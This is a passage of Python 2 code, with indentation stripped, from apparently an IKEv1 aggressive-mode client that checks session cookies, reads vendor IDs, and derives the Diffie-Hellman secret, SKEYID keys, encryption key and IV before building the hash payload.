ikeHandling = ikehandler.IKEv1Handler(debug)
ikeHDR = ikeHandling.parseHeader(packets[-1])
#Check the packet is for this session
if ikeHDR[1] == dicCrypto["iCookie"]:
pass
else:
if debug > 0:
print "Packet received does not match this session, this is probably from a previous incarnation"
print "Removing packet"
del packets[-1]
continue
#Check for informational packet
if ikeHDR[4] == 5:
try:
respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV)
except:
respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType)
print "Informational packet received. Enable full debugging for more info. Exiting..."
time.sleep(2)
exit()
else:
pass
flags = "01"
ikeHandling = ikehandler.IKEv1Handler(debug)
respDict,listVIDs = ikeHandling.main(packets[-1],encType,hashType)
dicVIDs = vid.dicVIDs
for i in listVIDs:
try:
if debug > 0:
print "VID received: %s (%s)"%(dicVIDs[i], i)
if "Cisco" in dicVIDs[i]:
vendorType = "cisco"
except:
if debug > 0:
print "Unknown VID received: %s"%i
#Combine the dictionaries from sent packet and received packet
dicCrypto.update(respDict)
#Pull the useful values from stored dictionary for crypto functions
nonce_i = dicCrypto["nonce_i"]
DHPubKey_i = dicCrypto["DHPubKey_i"]
nonce_r = dicCrypto["nonce_r"]
ID_i = dicCrypto["ID_i"]
ID_r = dicCrypto["ID_r"]
rCookie = dicCrypto["rCookie"]
xType = dicCrypto["xType"]
msgID = dicCrypto["msgID"]
privKey = dicCrypto["privKey"]
DHPubKey_r = dicCrypto["DHPubKey_r"]
SA_i = dicCrypto["SA_i"]
#Check exchange type is in the right format
try:
xType = hex(xType)[2:].zfill(2)
except:
pass
#Construct final aggressive mode exchange packet
if debug > 0:
print "\n--------------------Sending second aggressive mode packet--------------------"
#Run Crypto Functions - DH first
ikeDH = dh.DiffieHellman(DHGroup)
secret = ikeDH.genSecret(privKey,int(DHPubKey_r,16))
hexSecret = '{0:x}'.format(secret)#using new formating to deal with long int, if this fails fallback to old style
if len(hexSecret) % 2 != 0:
hexSecret = "0" + hexSecret
if debug > 0:
print "Secret: %s"%secret
print "Hexlified Secret: %s"%hexSecret
skeyid = ikeCrypto.calcSKEYID(psk, nonce_i.decode('hex'), nonce_r.decode('hex'), hashType)
hash_i = ikeCrypto.calcHASH(skeyid, DHPubKey_r.decode('hex'), DHPubKey_i.decode('hex'), rCookie.decode('hex'), iCookie.decode('hex'), SA_i.decode('hex'), ID_r.decode('hex'), ID_i.decode('hex'),"i",hashType)
hash_r = ikeCrypto.calcHASH(skeyid, DHPubKey_r.decode('hex'), DHPubKey_i.decode('hex'), rCookie.decode('hex'), iCookie.decode('hex'), SA_i.decode('hex'),ID_r.decode('hex'), ID_i.decode('hex'),"r",hashType)
skeyid_d = ikeCrypto.calcSKEYID_d(skeyid, hexSecret.decode('hex'), iCookie.decode('hex'), rCookie.decode('hex'), hashType)
skeyid_a = ikeCrypto.calcSKEYID_a(skeyid, skeyid_d, hexSecret.decode('hex'), iCookie.decode('hex'), rCookie.decode('hex'), hashType)
skeyid_e = ikeCrypto.calcSKEYID_e(skeyid, skeyid_a, hexSecret.decode('hex'), iCookie.decode('hex'), rCookie.decode('hex'), hashType)
if len(skeyid_e) < keyLen:
encKey = ikeCrypto.calcKa(skeyid_e, keyLen, hashType)
if debug > 0:
print "Encryption Key: %s"%encKey.encode('hex')
else:
encKey = skeyid_e[:keyLen]
if debug > 0:
print "Encryption Key: %s"%encKey.encode('hex')
initIV = ikeCrypto.calcIV(DHPubKey_i.decode('hex'),DHPubKey_r.decode('hex'), IVlen, hashType)
dicCrypto["skeyid"] = skeyid
dicCrypto["skeyid_a"] = skeyid_a
dicCrypto["skeyid_d"] = skeyid_d
dicCrypto["skeyid_e"] = skeyid_e
dicCrypto["encKey"] = encKey
dicCrypto["initIV"] = initIV
#Hash payload
arrayHash = ikeneg.ikeHash("0d",hash_i)#next payload - VID (13)
lenHash = len(arrayHash)
bytesHash = struct.pack(("B"*lenHash),*arrayHash)
#VID payload